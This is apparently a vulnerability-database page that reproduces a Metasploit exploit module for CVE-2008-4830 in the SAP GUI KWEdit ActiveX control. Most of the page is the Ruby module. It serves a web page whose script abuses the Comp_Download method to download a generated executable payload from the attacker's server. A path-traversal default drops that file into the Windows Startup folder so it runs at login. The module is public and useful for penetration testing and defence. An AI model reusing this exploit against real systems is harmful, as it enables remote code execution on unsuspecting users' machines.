EnjoySAP SAP GUI ActiveX Control Arbitrary File Download

🗓️ 03 Dec 2010 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 33 Views

Remote file placement via SAP GUI ActiveX Control

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2008-4830	1 Dec 201000:00	–	circl
Check Point Advisories	EnjoySAP SAP GUI ActiveX Control Arbitrary File Download (CVE-2008-4830)	1 Nov 201100:00	–	checkpoint_advisories
CVE	CVE-2008-4830	16 Apr 200915:00	–	cve
Cvelist	CVE-2008-4830	16 Apr 200915:00	–	cvelist
Exploit DB	EnjoySAP SAP GUI - ActiveX Control Arbitrary File Download (Metasploit)	1 Dec 201000:00	–	exploitdb
Metasploit	EnjoySAP SAP GUI ActiveX Control Arbitrary File Download	1 Dec 201002:01	–	metasploit
NVD	CVE-2008-4830	16 Apr 200915:12	–	nvd
Prion	Security feature bypass	16 Apr 200915:12	–	prion
Tenable Nessus	SAP GUI KWEdit ActiveX Control SaveDocumentAs() Insecure Method	15 Apr 200900:00	–	nessus
securityvulns	Secunia Research: SAP GUI KWEdit ActiveX Control "SaveDocumentAs()" Insecure Method	17 Apr 200900:00	–	securityvulns

`##  
# $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking,  
:vuln_test => nil,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download',  
'Description' => %q{  
This module allows remote attackers to place arbitrary files on a users file system  
by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision: 11189 $',  
'References' =>  
[  
[ 'CVE', '2008-4830'],  
[ 'OSVDB', '53680'],  
[ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ],  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '??? ?? ????'))  
  
register_options(  
[  
OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
payload_url = "http://"  
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"  
  
if (request.uri.match(/payload/))  
return if ((p = regenerate_payload(cli)) == nil)  
data = generate_payload_exe({ :code => p.encoded })  
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
vname = rand_text_alpha(rand(100) + 1)  
exe = rand_text_alpha(rand(20) + 1)  
  
content = %Q|  
<html>  
<head>  
<script>  
try {  
var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');  
#{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe");  
} catch( e ) { window.location = 'about:blank' ; }  
</script>  
</head>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, content)  
  
handler(cli)  
  
end  
  
end  
`

03 Dec 2010 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.62466